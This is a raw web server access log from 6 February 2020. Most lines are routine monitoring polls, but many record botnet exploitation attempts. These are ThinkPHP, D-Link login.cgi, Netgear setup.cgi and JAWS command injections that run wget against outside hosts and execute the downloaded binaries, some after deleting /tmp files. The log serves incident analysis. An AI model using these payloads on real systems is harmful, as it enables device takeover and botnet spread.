212.91.246.72 - - [06/Feb/2020:16:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
184.72.165.26 - - [06/Feb/2020:16:49:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.247.94.247 - - [06/Feb/2020:16:49:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:16:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.247.165.195 - - [06/Feb/2020:16:51:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:16:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.245.210 - - [06/Feb/2020:16:53:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.251.15 - - [06/Feb/2020:16:57:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.24.14 - - [06/Feb/2020:16:57:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:16:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.108.164.85 - - [06/Feb/2020:16:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
200.53.20.251 - - [06/Feb/2020:16:59:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:16:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [06/Feb/2020:17:03:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.199.5 - - [06/Feb/2020:17:03:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.8.230.46 - - [06/Feb/2020:17:05:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.78.18.98 - - [06/Feb/2020:17:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:17:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [06/Feb/2020:17:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:17:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.205.159.206 - - [06/Feb/2020:17:12:35 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 339 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
168.232.13.50 - - [06/Feb/2020:17:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:17:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.128.200.200 - - [06/Feb/2020:17:15:55 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
5.76.208.32 - - [06/Feb/2020:17:16:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.100.12.210 - - [06/Feb/2020:17:16:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:17:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.12.187 - - [06/Feb/2020:17:16:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.151.233.183 - - [06/Feb/2020:17:16:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.28.243.254 - - [06/Feb/2020:17:17:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
59.7.155.141 - - [06/Feb/2020:17:18:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [06/Feb/2020:17:18:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [06/Feb/2020:17:18:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [06/Feb/2020:17:18:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:17:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [06/Feb/2020:17:18:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:17:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.176.179.70 - - [06/Feb/2020:17:19:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.165.150 - - [06/Feb/2020:17:21:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.159.154.190 - - [06/Feb/2020:17:22:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [06/Feb/2020:17:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.244.210.187 - - [06/Feb/2020:17:24:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.77.199.108 - - [06/Feb/2020:17:24:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.248.221.195 - - [06/Feb/2020:17:25:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.231.119.29 - - [06/Feb/2020:17:28:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.4.198.141 - - [06/Feb/2020:17:28:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.67.87.120 - - [06/Feb/2020:17:32:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.50.110.146 - - [06/Feb/2020:17:36:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.157.39.2 - - [06/Feb/2020:17:39:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [06/Feb/2020:17:41:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.29.140.162 - - [06/Feb/2020:17:45:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.128.89.98 - - [06/Feb/2020:17:46:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:17:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:17:46:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
91.203.193.47 - - [06/Feb/2020:17:46:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.35.173.136 - - [06/Feb/2020:17:47:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.46.34.91 - - [06/Feb/2020:17:48:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.18.124.227 - - [06/Feb/2020:17:49:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
93.229.94.38 - - [06/Feb/2020:17:50:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:17:50:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
113.23.73.36 - - [06/Feb/2020:17:50:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:17:51:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:17:53:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
117.0.196.128 - - [06/Feb/2020:17:54:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.65.240.126 - - [06/Feb/2020:17:54:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:17:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:17:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.89.233.155 - - [06/Feb/2020:17:56:44 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://49.89.233.155:56229/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
90.154.122.85 - - [06/Feb/2020:17:56:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.229.94.38 - - [06/Feb/2020:17:57:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:17:58:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:17:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:17:59:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
1.53.179.243 - - [06/Feb/2020:17:59:29 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:17:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [06/Feb/2020:18:00:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.229.94.38 - - [06/Feb/2020:18:00:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:18:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.88.11 - - [06/Feb/2020:18:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:18:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [06/Feb/2020:18:01:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
